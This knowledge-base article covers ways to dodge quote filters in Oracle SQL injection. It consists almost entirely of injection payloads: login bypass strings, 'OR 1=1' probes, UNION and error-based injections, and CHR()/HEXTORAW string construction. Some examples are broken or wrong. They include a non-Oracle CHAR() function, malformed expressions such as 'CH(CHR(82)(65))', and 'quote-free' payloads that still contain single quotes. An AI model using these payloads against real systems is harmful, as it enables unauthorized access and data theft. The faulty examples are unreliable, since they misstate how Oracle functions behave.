Avoiding Quotations

Techniques to bypass quotation filters in Oracle SQL injection

Avoiding Quotations

When quotation marks are filtered or escaped, standard SQL injection techniques may fail. Oracle provides several methods to work around these limitations and still inject SQL code without using quotes.

Using Character Functions

Oracle provides several functions to convert between ASCII values and characters:

FunctionDescriptionExample
CHR()Converts ASCII value to characterCHR(39) produces a single quote '
ASCII()Converts character to ASCII valueASCII('A') returns 65
CONCAT()Concatenates stringsCONCAT('ab','cd') returns abcd
HEXTORAW()Converts hex to raw binaryHEXTORAW('414243') converts to ABC
UTL_RAW.CAST_TO_VARCHAR2()Converts raw data to stringConverts raw data to VARCHAR2

Basic Quotation Bypasses

-- Using CHR() function to create strings
SELECT * FROM users WHERE username=CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)  -- 'ADMIN'

-- Using concatenation of CHR() values
SELECT * FROM users WHERE username=CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)

-- Using decimal ASCII values
SELECT * FROM users WHERE ASCII(username)=65  -- 'A'

SQL Injection Examples

Character-by-Character Construction

-- Injecting without quotes
' OR username=CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)--

-- Bypassing login screen
username: admin' --
password: anything' OR 1=1--

Using CHAR() Function

-- Alternative to CHR
' OR username=CHAR(65)||CHAR(68)||CHAR(77)||CHAR(73)||CHAR(78)--

Using Hex Encoding

-- Using HEXTORAW
' OR username=UTL_RAW.CAST_TO_VARCHAR2(HEXTORAW('41444D494E'))--  -- 'ADMIN'

Advanced Techniques

Concatenating with DBMS_OBFUSCATION_TOOLKIT

If available (requires privileges):

-- Using DBMS_OBFUSCATION_TOOLKIT
' OR username=DBMS_OBFUSCATION_TOOLKIT.DESDECRYPT(HEXTORAW('41444D494E'),'key')--

Using TRANSLATE Function

-- Using TRANSLATE to build strings without quotes
' OR username=TRANSLATE(CHR(88),CHR(88),CHR(65))||TRANSLATE(CHR(88),CHR(88),CHR(68))||TRANSLATE(CHR(88),CHR(88),CHR(77))||TRANSLATE(CHR(88),CHR(88),CHR(73))||TRANSLATE(CHR(88),CHR(88),CHR(78))--

Using Date Conversion

-- Extract strings from dates
' OR username=TO_CHAR(TO_DATE('01-JAN-00','DD-MON-RR'),'YYYY')--  -- Returns '2000'

Using DUMP and CAST

-- Using DUMP and CAST functions
' OR username=(SELECT CAST(CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78) AS VARCHAR2(5)) FROM dual)--

Table and Column Names Without Quotes

In Oracle, identifiers can be enclosed in double quotes. If both single and double quotes are filtered:

-- Reference tables using CHR() concatenation
SELECT * FROM user_tables WHERE table_name=CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)  -- 'USERS'

-- Reference columns using CHR() concatenation
SELECT CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(78)||CHR(65)||CHR(77)||CHR(69) FROM users  -- 'USERNAME'

Using Built-in Variables and Constants

-- Using SYS_CONTEXT to check for values without quotes
' OR SYS_CONTEXT('USERENV','SESSION_USER')=CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)--

Bypassing Multi-Layer Filters

Some applications implement multiple layers of filtering:

-- Double encoding CHR() function
' OR username=CH(CHR(82)(65))||CHR(68)||CHR(77)||CHR(73)||CHR(78)--

-- Using nested functions
' OR username=(SELECT CHR(65||68||77||73||78) FROM dual)--

Practical Considerations

Testing for Quote Filtering

Before attempting bypasses, check how the application handles quotes:

-- Test for single quote filtering
' OR 1=1--

-- Test for escaped quotes
\' OR 1=1--

-- Test for double-quote filtering
" OR 1=1--

Combining with Other Techniques

Quotation bypasses often work best when combined with other techniques:

-- Combine with UNION injection
' UNION SELECT CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78),NULL FROM dual--

-- Combine with error-based injection
' AND (SELECT UPPER(CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)) FROM dual)=CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78)--
Back to Knowledge Base